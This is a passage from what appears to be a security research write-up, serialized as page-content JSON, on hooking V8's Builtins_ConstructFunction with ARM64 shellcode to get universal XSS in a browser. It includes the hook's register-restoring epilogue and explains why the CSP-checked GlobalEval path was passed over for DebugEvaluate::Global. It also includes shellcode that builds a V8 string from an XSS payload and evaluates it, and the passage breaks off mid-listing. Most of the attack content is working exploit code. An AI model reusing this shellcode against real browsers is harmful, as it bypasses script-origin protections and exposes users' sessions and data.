#-16]!\n",{"type":23,"tag":134,"props":139733,"children":139734},{"class":136,"line":814},[139735],{"type":23,"tag":134,"props":139736,"children":139737},{},[139738],{"type":28,"value":139739},"stp x20, x21, [sp, #-16]!\n",{"type":23,"tag":134,"props":139741,"children":139742},{"class":136,"line":827},[139743],{"type":23,"tag":134,"props":139744,"children":139745},{},[139746],{"type":28,"value":139747},"stp x22, x23, [sp, #-16]!\n",{"type":23,"tag":134,"props":139749,"children":139750},{"class":136,"line":836},[139751],{"type":23,"tag":134,"props":139752,"children":139753},{},[139754],{"type":28,"value":139755},"stp x24, x25, [sp, #-16]!\n",{"type":23,"tag":134,"props":139757,"children":139758},{"class":136,"line":859},[139759],{"type":23,"tag":134,"props":139760,"children":139761},{},[139762],{"type":28,"value":139763},"stp x26, x27, [sp, #-16]!\n",{"type":23,"tag":134,"props":139765,"children":139766},{"class":136,"line":868},[139767],{"type":23,"tag":134,"props":139768,"children":139769},{},[139770],{"type":28,"value":139771},"stp x28, x29, [sp, #-16]!\n",{"type":23,"tag":134,"props":139773,"children":139774},{"class":136,"line":877},[139775],{"type":23,"tag":134,"props":139776,"children":139777},{},[139778],{"type":28,"value":139779},"str lr, [sp, #-16]!\n",{"type":23,"tag":24,"props":139781,"children":139782},{},[139783],{"type":28,"value":139784},"All registers are saved to the stack because we don't know which registers may be clobbered by functions invoked later.",{"type":23,"tag":24,"props":139786,"children":139787},{},[139788,139790,139795],{"type":28,"value":139789},"The epilogue restores all saved registers, restores the original instructions in ",{"type":23,"tag":92,"props":139791,"children":139793},{"className":139792},[],[139794],{"type":28,"value":138980},{"type":28,"value":139796},", and then returns execution to its beginning:",{"type":23,"tag":87,"props":139798,"children":139800},{"code":139799,"language":139033,"meta":7,"className":139034,"style":7},"// restore original instructions of Builtins_ConstructFunction\nldr lr, [sp], #16\n// move lr to the beginning of Builtins_ConstructFunction\nsub lr, lr, #{5 * INSTR_SIZE}\n{write_sc(orig_compile_instrs, \"lr\")}\n\n// wipe from cache\nmov x0, lr\n{WIPE_CACHE}\n\n// restore original registers\nldp x28, x29, [sp], #16\nldp x26, x27, [sp], #16\nldp x24, x25, [sp], #16\nldp x22, x23, [sp], #16\nldp x20, x21, [sp], #16\nldp x18, x19, [sp], #16\nldp x16, x17, [sp], #16\nldp x14, x15, [sp], #16\nldp x12, x13, [sp], #16\nldp x10, x11, [sp], #16\nldp x8,  x9,  [sp], #16\nldp x6,  x7,  [sp], #16\nldp x4,  x5,  [sp], #16\nldp x2,  x3,  [sp], #16\nldp x0,  x1,  [sp], #16\n\n// Builtins_ConstructFunction doesnt care about x4 and overwrites\n// it immediately, so we can clobber and use it as a return register.\n// This is done so lr isnt clobbered and ConstructFunction knows\n// where to return\nmov x4, lr\n\n// x15 and lr were saved in patched Builtins_ConstructFunction\nldp x15, lr, [sp], #16\n\nret x4\n",[139801],{"type":23,"tag":92,"props":139802,"children":139803},{"__ignoreMap":7},[139804,139812,139820,139828,139836,139844,139851,139858,139866,139873,139880,139888,139896,139904,139912,139920,139928,139936,139944,139952,139960,139968,139976,139984,139992,140000,140008,140015,140023,140031,140039,140047,140055,140062,140070,140078,140085],{"type":23,"tag":134,"props":139805,"children":139806},{"class":136,"line":137},[139807],{"type":23,"tag":134,"props":139808,"children":139809},{},[139810],{"type":28,"value":139811},"// restore original instructions of Builtins_ConstructFunction\n",{"type":23,"tag":134,"props":139813,"children":139814},{"class":136,"line":147},[139815],{"type":23,"tag":134,"props":139816,"children":139817},{},[139818],{"type":28,"value":139819},"ldr lr, [sp], #16\n",{"type":23,"tag":134,"props":139821,"children":139822},{"class":136,"line":185},[139823],{"type":23,"tag":134,"props":139824,"children":139825},{},[139826],{"type":28,"value":139827},"// move lr to the beginning of Builtins_ConstructFunction\n",{"type":23,"tag":134,"props":139829,"children":139830},{"class":136,"line":221},[139831],{"type":23,"tag":134,"props":139832,"children":139833},{},[139834],{"type":28,"value":139835},"sub lr, lr, #{5 * INSTR_SIZE}\n",{"type":23,"tag":134,"props":139837,"children":139838},{"class":136,"line":332},[139839],{"type":23,"tag":134,"props":139840,"children":139841},{},[139842],{"type":28,"value":139843},"{write_sc(orig_compile_instrs, \"lr\")}\n",{"type":23,"tag":134,"props":139845,"children":139846},{"class":136,"line":438},[139847],{"type":23,"tag":134,"props":139848,"children":139849},{"emptyLinePlaceholder":15},[139850],{"type":28,"value":865},{"type":23,"tag":134,"props":139852,"children":139853},{"class":136,"line":466},[139854],{"type":23,"tag":134,"props":139855,"children":139856},{},[139857],{"type":28,"value":139386},{"type":23,"tag":134,"props":139859,"children":139860},{"class":136,"line":479},[139861],{"type":23,"tag":134,"props":139862,"children":139863},{},[139864],{"type":28,"value":139865},"mov x0, lr\n",{"type":23,"tag":134,"props":139867,"children":139868},{"class":136,"line":497},[139869],{"type":23,"tag":134,"props":139870,"children":139871},{},[139872],{"type":28,"value":139402},{"type":23,"tag":134,"props":139874,"children":139875},{"class":136,"line":518},[139876],{"type":23,"tag":134,"props":139877,"children":139878},{"emptyLinePlaceholder":15},[139879],{"type":28,"value":865},{"type":23,"tag":134,"props":139881,"children":139882},{"class":136,"line":527},[139883],{"type":23,"tag":134,"props":139884,"children":139885},{},[139886],{"type":28,"value":139887},"// restore original registers\n",{"type":23,"tag":134,"props":139889,"children":139890},{"class":136,"line":780},[139891],{"type":23,"tag":134,"props":139892,"children":139893},{},[139894],{"type":28,"value":139895},"ldp x28, x29, [sp], #16\n",{"type":23,"tag":134,"props":139897,"children":139898},{"class":136,"line":797},[139899],{"type":23,"tag":134,"props":139900,"children":139901},{},[139902],{"type":28,"value":139903},"ldp x26, x27, [sp], #16\n",{"type":23,"tag":134,"props":139905,"children":139906},{"class":136,"line":814},[139907],{"type":23,"tag":134,"props":139908,"children":139909},{},[139910],{"type":28,"value":139911},"ldp x24, x25, [sp], #16\n",{"type":23,"tag":134,"props":139913,"children":139914},{"class":136,"line":827},[139915],{"type":23,"tag":134,"props":139916,"children":139917},{},[139918],{"type":28,"value":139919},"ldp x22, x23, [sp], #16\n",{"type":23,"tag":134,"props":139921,"children":139922},{"class":136,"line":836},[139923],{"type":23,"tag":134,"props":139924,"children":139925},{},[139926],{"type":28,"value":139927},"ldp x20, x21, [sp], #16\n",{"type":23,"tag":134,"props":139929,"children":139930},{"class":136,"line":859},[139931],{"type":23,"tag":134,"props":139932,"children":139933},{},[139934],{"type":28,"value":139935},"ldp x18, x19, [sp], #16\n",{"type":23,"tag":134,"props":139937,"children":139938},{"class":136,"line":868},[139939],{"type":23,"tag":134,"props":139940,"children":139941},{},[139942],{"type":28,"value":139943},"ldp x16, x17, [sp], #16\n",{"type":23,"tag":134,"props":139945,"children":139946},{"class":136,"line":877},[139947],{"type":23,"tag":134,"props":139948,"children":139949},{},[139950],{"type":28,"value":139951},"ldp x14, x15, [sp], #16\n",{"type":23,"tag":134,"props":139953,"children":139954},{"class":136,"line":946},[139955],{"type":23,"tag":134,"props":139956,"children":139957},{},[139958],{"type":28,"value":139959},"ldp x12, x13, [sp], #16\n",{"type":23,"tag":134,"props":139961,"children":139962},{"class":136,"line":954},[139963],{"type":23,"tag":134,"props":139964,"children":139965},{},[139966],{"type":28,"value":139967},"ldp x10, x11, [sp], #16\n",{"type":23,"tag":134,"props":139969,"children":139970},{"class":136,"line":984},[139971],{"type":23,"tag":134,"props":139972,"children":139973},{},[139974],{"type":28,"value":139975},"ldp x8,  x9,  [sp], #16\n",{"type":23,"tag":134,"props":139977,"children":139978},{"class":136,"line":992},[139979],{"type":23,"tag":134,"props":139980,"children":139981},{},[139982],{"type":28,"value":139983},"ldp x6,  x7,  [sp], #16\n",{"type":23,"tag":134,"props":139985,"children":139986},{"class":136,"line":1024},[139987],{"type":23,"tag":134,"props":139988,"children":139989},{},[139990],{"type":28,"value":139991},"ldp x4,  x5,  [sp], #16\n",{"type":23,"tag":134,"props":139993,"children":139994},{"class":136,"line":1032},[139995],{"type":23,"tag":134,"props":139996,"children":139997},{},[139998],{"type":28,"value":139999},"ldp x2,  x3,  [sp], #16\n",{"type":23,"tag":134,"props":140001,"children":140002},{"class":136,"line":1092},[140003],{"type":23,"tag":134,"props":140004,"children":140005},{},[140006],{"type":28,"value":140007},"ldp x0,  x1,  [sp], #16\n",{"type":23,"tag":134,"props":140009,"children":140010},{"class":136,"line":8508},[140011],{"type":23,"tag":134,"props":140012,"children":140013},{"emptyLinePlaceholder":15},[140014],{"type":28,"value":865},{"type":23,"tag":134,"props":140016,"children":140017},{"class":136,"line":8526},[140018],{"type":23,"tag":134,"props":140019,"children":140020},{},[140021],{"type":28,"value":140022},"// Builtins_ConstructFunction doesnt care about x4 and overwrites\n",{"type":23,"tag":134,"props":140024,"children":140025},{"class":136,"line":8571},[140026],{"type":23,"tag":134,"props":140027,"children":140028},{},[140029],{"type":28,"value":140030},"// it immediately, so we can clobber and use it as a return register.\n",{"type":23,"tag":134,"props":140032,"children":140033},{"class":136,"line":8677},[140034],{"type":23,"tag":134,"props":140035,"children":140036},{},[140037],{"type":28,"value":140038},"// This is done so lr isnt clobbered and ConstructFunction knows\n",{"type":23,"tag":134,"props":140040,"children":140041},{"class":136,"line":22988},[140042],{"type":23,"tag":134,"props":140043,"children":140044},{},[140045],{"type":28,"value":140046},"// where to return\n",{"type":23,"tag":134,"props":140048,"children":140049},{"class":136,"line":23023},[140050],{"type":23,"tag":134,"props":140051,"children":140052},{},[140053],{"type":28,"value":140054},"mov x4, lr\n",{"type":23,"tag":134,"props":140056,"children":140057},{"class":136,"line":23031},[140058],{"type":23,"tag":134,"props":140059,"children":140060},{"emptyLinePlaceholder":15},[140061],{"type":28,"value":865},{"type":23,"tag":134,"props":140063,"children":140064},{"class":136,"line":23039},[140065],{"type":23,"tag":134,"props":140066,"children":140067},{},[140068],{"type":28,"value":140069},"// x15 and lr were saved in patched Builtins_ConstructFunction\n",{"type":23,"tag":134,"props":140071,"children":140072},{"class":136,"line":23048},[140073],{"type":23,"tag":134,"props":140074,"children":140075},{},[140076],{"type":28,"value":140077},"ldp x15, lr, [sp], #16\n",{"type":23,"tag":134,"props":140079,"children":140080},{"class":136,"line":23090},[140081],{"type":23,"tag":134,"props":140082,"children":140083},{"emptyLinePlaceholder":15},[140084],{"type":28,"value":865},{"type":23,"tag":134,"props":140086,"children":140087},{"class":136,"line":23123},[140088],{"type":23,"tag":134,"props":140089,"children":140090},{},[140091],{"type":28,"value":140092},"ret x4\n",{"type":23,"tag":24,"props":140094,"children":140095},{},[140096,140098,140103,140105,140110,140112,140118],{"type":28,"value":140097},"At this point, we have successfully hooked ",{"type":23,"tag":92,"props":140099,"children":140101},{"className":140100},[],[140102],{"type":28,"value":138980},{"type":28,"value":140104}," and can execute arbitrary shellcode whenever it is invoked from within the ",{"type":23,"tag":92,"props":140106,"children":140108},{"className":140107},[],[140109],{"type":28,"value":139496},{"type":28,"value":140111}," body. For our purposes, we want to evaluate an arbitrary JavaScript string to achieve UXSS, and the first function we examined for this was ",{"type":23,"tag":92,"props":140113,"children":140115},{"className":140114},[],[140116],{"type":28,"value":140117},"Builtins_GlobalEval",{"type":28,"value":720},{"type":23,"tag":24,"props":140120,"children":140121},{},[140122,140127,140129,140134,140136,140141],{"type":23,"tag":92,"props":140123,"children":140125},{"className":140124},[],[140126],{"type":28,"value":140117},{"type":28,"value":140128}," takes a single ",{"type":23,"tag":92,"props":140130,"children":140132},{"className":140131},[],[140133],{"type":28,"value":47431},{"type":28,"value":140135}," argument that it evaluates. However, it comes with some complications. One notable issue is that it checks whether the Content Security Policy (CSP) allows the use of ",{"type":23,"tag":92,"props":140137,"children":140139},{"className":140138},[],[140140],{"type":28,"value":37046},{"type":28,"value":1697},{"type":23,"tag":87,"props":140143,"children":140145},{"code":140144,"language":28605,"meta":7,"className":28603,"style":7},"BUILTIN(GlobalEval) {\n  [...]\n\n  if (!Builtins::AllowDynamicFunction(isolate, target, target_global_proxy)) {\n    isolate->CountUsage(v8::Isolate::kFunctionConstructorReturnedUndefined);\n    return ReadOnlyRoots(isolate).undefined_value();\n  }\n",[140146],{"type":23,"tag":92,"props":140147,"children":140148},{"__ignoreMap":7},[140149,140162,140169,140176,140219,140241,140267],{"type":23,"tag":134,"props":140150,"children":140151},{"class":136,"line":137},[140152,140157],{"type":23,"tag":134,"props":140153,"children":140154},{"style":264},[140155],{"type":28,"value":140156},"BUILTIN",{"type":23,"tag":134,"props":140158,"children":140159},{"style":179},[140160],{"type":28,"value":140161},"(GlobalEval) {\n",{"type":23,"tag":134,"props":140163,"children":140164},{"class":136,"line":147},[140165],{"type":23,"tag":134,"props":140166,"children":140167},{"style":179},[140168],{"type":28,"value":126665},{"type":23,"tag":134,"props":140170,"children":140171},{"class":136,"line":185},[140172],{"type":23,"tag":134,"props":140173,"children":140174},{"emptyLinePlaceholder":15},[140175],{"type":28,"value":865},{"type":23,"tag":134,"props":140177,"children":140178},{"class":136,"line":221},[140179,140184,140189,140193,140198,140202,140206,140210,140215],{"type":23,"tag":134,"props":140180,"children":140181},{"style":179},[140182],{"type":28,"value":140183},"  if (!Builtins::",{"type":23,"tag":134,"props":140185,"children":140186},{"style":597},[140187],{"type":28,"value":140188},"AllowDynamicFunction",{"type":23,"tag":134,"props":140190,"children":140191},{"style":179},[140192],{"type":28,"value":272},{"type":23,"tag":134,"props":140194,"children":140195},{"style":597},[140196],{"type":28,"value":140197},"isolate",{"type":23,"tag":134,"props":140199,"children":140200},{"style":179},[140201],{"type":28,"value":242},{"type":23,"tag":134,"props":140203,"children":140204},{"style":597},[140205],{"type":28,"value":114590},{"type":23,"tag":134,"props":140207,"children":140208},{"style":179},[140209],{"type":28,"value":242},{"type":23,"tag":134,"props":140211,"children":140212},{"style":597},[140213],{"type":28,"value":140214},"target_global_proxy",{"type":23,"tag":134,"props":140216,"children":140217},{"style":179},[140218],{"type":28,"value":34691},{"type":23,"tag":134,"props":140220,"children":140221},{"class":136,"line":332},[140222,140227,140231,140236],{"type":23,"tag":134,"props":140223,"children":140224},{"style":162},[140225],{"type":28,"value":140226},"    isolate",{"type":23,"tag":134,"props":140228,"children":140229},{"style":179},[140230],{"type":28,"value":13225},{"type":23,"tag":134,"props":140232,"children":140233},{"style":264},[140234],{"type":28,"value":140235},"CountUsage",{"type":23,"tag":134,"props":140237,"children":140238},{"style":179},[140239],{"type":28,"value":140240},"(v8::Isolate::kFunctionConstructorReturnedUndefined);\n",{"type":23,"tag":134,"props":140242,"children":140243},{"class":136,"line":438},[140244,140248,140253,140258,140263],{"type":23,"tag":134,"props":140245,"children":140246},{"style":189},[140247],{"type":28,"value":16461},{"type":23,"tag":134,"props":140249,"children":140250},{"style":264},[140251],{"type":28,"value":140252}," ReadOnlyRoots",{"type":23,"tag":134,"props":140254,"children":140255},{"style":179},[140256],{"type":28,"value":140257},"(isolate).",{"type":23,"tag":134,"props":140259,"children":140260},{"style":264},[140261],{"type":28,"value":140262},"undefined_value",{"type":23,"tag":134,"props":140264,"children":140265},{"style":179},[140266],{"type":28,"value":856},{"type":23,"tag":134,"props":140268,"children":140269},{"class":136,"line":466},[140270],{"type":23,"tag":134,"props":140271,"children":140272},{"style":179},[140273],{"type":28,"value":5328},{"type":23,"tag":24,"props":140275,"children":140276},{},[140277,140279,140284],{"type":28,"value":140278},"This means we would need to patch the function further to ensure it never enters this ",{"type":23,"tag":92,"props":140280,"children":140282},{"className":140281},[],[140283],{"type":28,"value":15049},{"type":28,"value":140285}," block.",{"type":23,"tag":24,"props":140287,"children":140288},{},[140289],{"type":28,"value":140290},"Alternatively, we could replicate the calls made once the security checks pass:",{"type":23,"tag":87,"props":140292,"children":140294},{"code":140293,"language":28605,"meta":7,"className":28603,"style":7},"BUILTIN(GlobalEval) {\n\n  [...]\n\n  DirectHandle\u003CJSFunction> function;\n  ASSIGN_RETURN_FAILURE_ON_EXCEPTION(\n      isolate, function,\n      Compiler::GetFunctionFromValidatedString(\n          direct_handle(target->native_context(), isolate), source,\n          NO_PARSE_RESTRICTION, kNoSourcePosition));\n  RETURN_RESULT_OR_FAILURE(\n      isolate, Execution::Call(isolate, function, target_global_proxy, {}));\n",[140295],{"type":23,"tag":92,"props":140296,"children":140297},{"__ignoreMap":7},[140298,140309,140316,140323,140330,140338,140350,140358,140375,140405,140413,140425],{"type":23,"tag":134,"props":140299,"children":140300},{"class":136,"line":137},[140301,140305],{"type":23,"tag":134,"props":140302,"children":140303},{"style":264},[140304],{"type":28,"value":140156},{"type":23,"tag":134,"props":140306,"children":140307},{"style":179},[140308],{"type":28,"value":140161},{"type":23,"tag":134,"props":140310,"children":140311},{"class":136,"line":147},[140312],{"type":23,"tag":134,"props":140313,"children":140314},{"emptyLinePlaceholder":15},[140315],{"type":28,"value":865},{"type":23,"tag":134,"props":140317,"children":140318},{"class":136,"line":185},[140319],{"type":23,"tag":134,"props":140320,"children":140321},{"style":179},[140322],{"type":28,"value":126665},{"type":23,"tag":134,"props":140324,"children":140325},{"class":136,"line":221},[140326],{"type":23,"tag":134,"props":140327,"children":140328},{"emptyLinePlaceholder":15},[140329],{"type":28,"value":865},{"type":23,"tag":134,"props":140331,"children":140332},{"class":136,"line":332},[140333],{"type":23,"tag":134,"props":140334,"children":140335},{"style":179},[140336],{"type":28,"value":140337},"  DirectHandle\u003CJSFunction> function;\n",{"type":23,"tag":134,"props":140339,"children":140340},{"class":136,"line":438},[140341,140346],{"type":23,"tag":134,"props":140342,"children":140343},{"style":264},[140344],{"type":28,"value":140345},"  ASSIGN_RETURN_FAILURE_ON_EXCEPTION",{"type":23,"tag":134,"props":140347,"children":140348},{"style":179},[140349],{"type":28,"value":642},{"type":23,"tag":134,"props":140351,"children":140352},{"class":136,"line":466},[140353],{"type":23,"tag":134,"props":140354,"children":140355},{"style":179},[140356],{"type":28,"value":140357},"      isolate, function,\n",{"type":23,"tag":134,"props":140359,"children":140360},{"class":136,"line":479},[140361,140366,140371],{"type":23,"tag":134,"props":140362,"children":140363},{"style":179},[140364],{"type":28,"value":140365},"      Compiler::",{"type":23,"tag":134,"props":140367,"children":140368},{"style":264},[140369],{"type":28,"value":140370},"GetFunctionFromValidatedString",{"type":23,"tag":134,"props":140372,"children":140373},{"style":179},[140374],{"type":28,"value":642},{"type":23,"tag":134,"props":140376,"children":140377},{"class":136,"line":497},[140378,140383,140387,140391,140395,140400],{"type":23,"tag":134,"props":140379,"children":140380},{"style":264},[140381],{"type":28,"value":140382},"          direct_handle",{"type":23,"tag":134,"props":140384,"children":140385},{"style":179},[140386],{"type":28,"value":272},{"type":23,"tag":134,"props":140388,"children":140389},{"style":162},[140390],{"type":28,"value":114590},{"type":23,"tag":134,"props":140392,"children":140393},{"style":179},[140394],{"type":28,"value":13225},{"type":23,"tag":134,"props":140396,"children":140397},{"style":264},[140398],{"type":28,"value":140399},"native_context",{"type":23,"tag":134,"props":140401,"children":140402},{"style":179},[140403],{"type":28,"value":140404},"(), isolate), source,\n",{"type":23,"tag":134,"props":140406,"children":140407},{"class":136,"line":518},[140408],{"type":23,"tag":134,"props":140409,"children":140410},{"style":179},[140411],{"type":28,"value":140412},"          NO_PARSE_RESTRICTION, kNoSourcePosition));\n",{"type":23,"tag":134,"props":140414,"children":140415},{"class":136,"line":527},[140416,140421],{"type":23,"tag":134,"props":140417,"children":140418},{"style":264},[140419],{"type":28,"value":140420},"  RETURN_RESULT_OR_FAILURE",{"type":23,"tag":134,"props":140422,"children":140423},{"style":179},[140424],{"type":28,"value":642},{"type":23,"tag":134,"props":140426,"children":140427},{"class":136,"line":780},[140428,140433,140438],{"type":23,"tag":134,"props":140429,"children":140430},{"style":179},[140431],{"type":28,"value":140432},"      isolate, Execution::",{"type":23,"tag":134,"props":140434,"children":140435},{"style":264},[140436],{"type":28,"value":140437},"Call",{"type":23,"tag":134,"props":140439,"children":140440},{"style":179},[140441],{"type":28,"value":140442},"(isolate, function, target_global_proxy, {}));\n",{"type":23,"tag":24,"props":140444,"children":140445},{},[140446,140448,140453,140455,140461,140463,140469,140471,140477],{"type":28,"value":140447},"But determining the correct ",{"type":23,"tag":92,"props":140449,"children":140451},{"className":140450},[],[140452],{"type":28,"value":114590},{"type":28,"value":140454}," value, obtaining ",{"type":23,"tag":92,"props":140456,"children":140458},{"className":140457},[],[140459],{"type":28,"value":140460},"target->native_context()",{"type":28,"value":140462},", and locating the ",{"type":23,"tag":92,"props":140464,"children":140466},{"className":140465},[],[140467],{"type":28,"value":140468},"direct_handle",{"type":28,"value":140470}," function, just to make a proper call to ",{"type":23,"tag":92,"props":140472,"children":140474},{"className":140473},[],[140475],{"type":28,"value":140476},"Compiler::GetFunctionFromValidatedString",{"type":28,"value":140478},", seemed unnecessarily cumbersome.",{"type":23,"tag":24,"props":140480,"children":140481},{},[140482,140484,140490],{"type":28,"value":140483},"Instead, we found a much simpler option with no security checks: ",{"type":23,"tag":92,"props":140485,"children":140487},{"className":140486},[],[140488],{"type":28,"value":140489},"DebugEvaluate::Global",{"type":28,"value":140491},". This function is used by the DevTools console to evaluate JavaScript entered there.",{"type":23,"tag":24,"props":140493,"children":140494},{},[140495],{"type":28,"value":140496},"For our needs, it is straightforward to call:",{"type":23,"tag":87,"props":140498,"children":140500},{"code":140499,"language":28605,"meta":7,"className":28603,"style":7},"MaybeDirectHandle\u003CObject> DebugEvaluate::Global(Isolate* isolate,\n                                                Handle\u003CString> source,\n                                                debug::EvaluateGlobalMode mode,\n                                                REPLMode repl_mode);\n",[140501],{"type":23,"tag":92,"props":140502,"children":140503},{"__ignoreMap":7},[140504,140552,140581,140602],{"type":23,"tag":134,"props":140505,"children":140506},{"class":136,"line":137},[140507,140512,140516,140520,140525,140530,140534,140539,140543,140548],{"type":23,"tag":134,"props":140508,"children":140509},{"style":597},[140510],{"type":28,"value":140511},"MaybeDirectHandle",{"type":23,"tag":134,"props":140513,"children":140514},{"style":179},[140515],{"type":28,"value":5262},{"type":23,"tag":134,"props":140517,"children":140518},{"style":597},[140519],{"type":28,"value":48356},{"type":23,"tag":134,"props":140521,"children":140522},{"style":179},[140523],{"type":28,"value":140524},"> DebugEvaluate::",{"type":23,"tag":134,"props":140526,"children":140527},{"style":264},[140528],{"type":28,"value":140529},"Global",{"type":23,"tag":134,"props":140531,"children":140532},{"style":179},[140533],{"type":28,"value":272},{"type":23,"tag":134,"props":140535,"children":140536},{"style":597},[140537],{"type":28,"value":140538},"Isolate",{"type":23,"tag":134,"props":140540,"children":140541},{"style":151},[140542],{"type":28,"value":1777},{"type":23,"tag":134,"props":140544,"children":140545},{"style":162},[140546],{"type":28,"value":140547}," isolate",{"type":23,"tag":134,"props":140549,"children":140550},{"style":179},[140551],{"type":28,"value":687},{"type":23,"tag":134,"props":140553,"children":140554},{"class":136,"line":147},[140555,140560,140564,140568,140572,140577],{"type":23,"tag":134,"props":140556,"children":140557},{"style":597},[140558],{"type":28,"value":140559},"                                                Handle",{"type":23,"tag":134,"props":140561,"children":140562},{"style":179},[140563],{"type":28,"value":5262},{"type":23,"tag":134,"props":140565,"children":140566},{"style":597},[140567],{"type":28,"value":47431},{"type":23,"tag":134,"props":140569,"children":140570},{"style":179},[140571],{"type":28,"value":5277},{"type":23,"tag":134,"props":140573,"children":140574},{"style":162},[140575],{"type":28,"value":140576},"source",{"type":23,"tag":134,"props":140578,"children":140579},{"style":179},[140580],{"type":28,"value":687},{"type":23,"tag":134,"props":140582,"children":140583},{"class":136,"line":185},[140584,140589,140594,140598],{"type":23,"tag":134,"props":140585,"children":140586},{"style":179},[140587],{"type":28,"value":140588},"                                                debug::",{"type":23,"tag":134,"props":140590,"children":140591},{"style":597},[140592],{"type":28,"value":140593},"EvaluateGlobalMode",{"type":23,"tag":134,"props":140595,"children":140596},{"style":162},[140597],{"type":28,"value":105786},{"type":23,"tag":134,"props":140599,"children":140600},{"style":179},[140601],{"type":28,"value":687},{"type":23,"tag":134,"props":140603,"children":140604},{"class":136,"line":221},[140605,140610,140615],{"type":23,"tag":134,"props":140606,"children":140607},{"style":597},[140608],{"type":28,"value":140609},"                                                REPLMode",{"type":23,"tag":134,"props":140611,"children":140612},{"style":162},[140613],{"type":28,"value":140614}," repl_mode",{"type":23,"tag":134,"props":140616,"children":140617},{"style":179},[140618],{"type":28,"value":1021},{"type":23,"tag":24,"props":140620,"children":140621},{},[140622,140624,140629,140631,140636,140638,140643,140645,140651,140652,140658],{"type":28,"value":140623},"We must supply the ",{"type":23,"tag":92,"props":140625,"children":140627},{"className":140626},[],[140628],{"type":28,"value":140197},{"type":28,"value":140630}," pointer, a ",{"type":23,"tag":92,"props":140632,"children":140634},{"className":140633},[],[140635],{"type":28,"value":47431},{"type":28,"value":140637}," object containing our XSS payload as ",{"type":23,"tag":92,"props":140639,"children":140641},{"className":140640},[],[140642],{"type":28,"value":140576},{"type":28,"value":140644},", and the ",{"type":23,"tag":92,"props":140646,"children":140648},{"className":140647},[],[140649],{"type":28,"value":140650},"mode",{"type":28,"value":10458},{"type":23,"tag":92,"props":140653,"children":140655},{"className":140654},[],[140656],{"type":28,"value":140657},"repl_mode",{"type":28,"value":140659}," values, which are simple enum literals.",{"type":23,"tag":24,"props":140661,"children":140662},{},[140663,140665,140670,140672,140678,140680,140685,140687,140692,140694,140700,140702,140708,140710,140715,140717,140722,140724,140729,140731,140736],{"type":28,"value":140664},"To obtain the ",{"type":23,"tag":92,"props":140666,"children":140668},{"className":140667},[],[140669],{"type":28,"value":140197},{"type":28,"value":140671}," pointer within our shellcode, we call ",{"type":23,"tag":92,"props":140673,"children":140675},{"className":140674},[],[140676],{"type":28,"value":140677},"Isolate::TryGetCurrent()",{"type":28,"value":140679},", which returns the current ",{"type":23,"tag":92,"props":140681,"children":140683},{"className":140682},[],[140684],{"type":28,"value":140197},{"type":28,"value":140686},". To construct a valid ",{"type":23,"tag":92,"props":140688,"children":140690},{"className":140689},[],[140691],{"type":28,"value":47431},{"type":28,"value":140693}," object holding our payload, we call ",{"type":23,"tag":92,"props":140695,"children":140697},{"className":140696},[],[140698],{"type":28,"value":140699},"v8::String::NewFromUTF8",{"type":28,"value":140701},". This ",{"type":23,"tag":92,"props":140703,"children":140705},{"className":140704},[],[140706],{"type":28,"value":140707},"NewFromUTF8",{"type":28,"value":140709}," function takes four arguments: the ",{"type":23,"tag":92,"props":140711,"children":140713},{"className":140712},[],[140714],{"type":28,"value":140197},{"type":28,"value":140716},", the string bytes as ",{"type":23,"tag":92,"props":140718,"children":140720},{"className":140719},[],[140721],{"type":28,"value":892},{"type":28,"value":140723},", an enum literal specifying the string type, and ",{"type":23,"tag":92,"props":140725,"children":140727},{"className":140726},[],[140728],{"type":28,"value":7963},{"type":28,"value":140730},", which is the size of the ",{"type":23,"tag":92,"props":140732,"children":140734},{"className":140733},[],[140735],{"type":28,"value":892},{"type":28,"value":16636},{"type":23,"tag":24,"props":140738,"children":140739},{},[140740],{"type":28,"value":140741},"The resulting shellcode that executes our XSS payload looks like this:",{"type":23,"tag":87,"props":140743,"children":140745},{"code":140744,"language":139033,"meta":7,"className":139034,"style":7},"// get isolate ptr, v8::Isolate::TryGetCurrent(0x9ba3bd0)\nmovz x1, #0xf7a0\nmovk x1, #0x0071, lsl #16\nadd x9, x12, x1\nmovz x1, #0x5ac8\nmovk x1, #0x054f, lsl #16\nadd x0, x12, x1\nblr x9\n// *x0 is isolate pointer\n// store isolate ptr to stack\nldr x13, [x0]\nstr x13, [sp, #-16]!\n\n// store x10 = v8::String::NewFromUTF8\nmovz x1, #0x1140\nmovk x1, #0x0242, lsl #16\nsub x10, x12, x1\n\n// mmap a RW page for our xss payload\nmov x0, #0\nmov x1, #{page_align(len(XSS_PAYLOAD))}\nmov x2, #3\nmov x3, #34\nmov x4, #-1\nmov x5, #0\nmov x8, #222\nsvc #0\n\n// write our xss payload to mmapped rw page\n{write_str(XSS_PAYLOAD, \"x0\")}\n\n// store x11 = XSS_PAYLOAD string\nmov x11, x0\n\n// pop back isolate pointer\nldr x13, [sp], #16\n\n// at this point:\n// x13 = isolate *\n// x11 = XSS_PAYLOAD string mmapped region\n// x10 = v8::String::NewFromUtf8\n\n// call v8::String::NewFromUTF8 with our xss_payload\n// arg0 = isolate *\nmov x0, x13\n// arg1 = char *c_str\nmov x1, x11\n// arg2 = type = kNormal\nmov x2, #0\n// arg4 = length\nmov w3, #{len(XSS_PAYLOAD)}\n// call NewFromUTF8\nblr x10\n\n// store x14 = String XSS_PAYLOAD\nmov x14, x0\n\n// store x9 = v8::internal::DebugEvaluate::Global\nmovz x1, #0xe44c\nmovk x1, #0x014e, lsl #16\nsub x9, x12, x1\n\n// call v8::internal::DebugEvaluate::Global\n// arg0 = isolate *\nmov x0, x13\n// arg1 = String *source\nmov x1, x14\n// arg2 = mode = kDefault\nmov x2, #0\n// arg3 = repl_mode = kYes\nmov x3, #0\n\nblr x9\n",[140746],{"type":23,"tag":92,"props":140747,"children":140748},{"__ignoreMap":7},[140749,140757,140765,140773,140781,140789,140797,140805,140813,140821,140829,140837,140845,140852,140860,140868,140876,140884,140891,140899,140906,140914,140922,140929,140936,140943,140950,140957,140964,140972,140980,140987,140995,141003,141010,141018,141026,141033,141040,141048,141056,141064,141071,141079,141087,141095,141103,141111,141119,141127,141135,141143,141151,141159,141166,141174,141182,141189,141197,141205,141213,141221,141228,141236,141243,141250,141258,141266,141274,141282,141291,141300,141308],{"type":23,"tag":134,"props":140750,"children":140751},{"class":136,"line":137},[140752],{"type":23,"tag":134,"props":140753,"children":140754},{},[140755],{"type":28,"value":140756},"// get isolate ptr, v8::Isolate::TryGetCurrent(0x9ba3bd0)\n",{"type":23,"tag":134,"props":140758,"children":140759},{"class":136,"line":147},[140760],{"type":23,"tag":134,"props":140761,"children":140762},{},[140763],{"type":28,"value":140764},"movz x1, 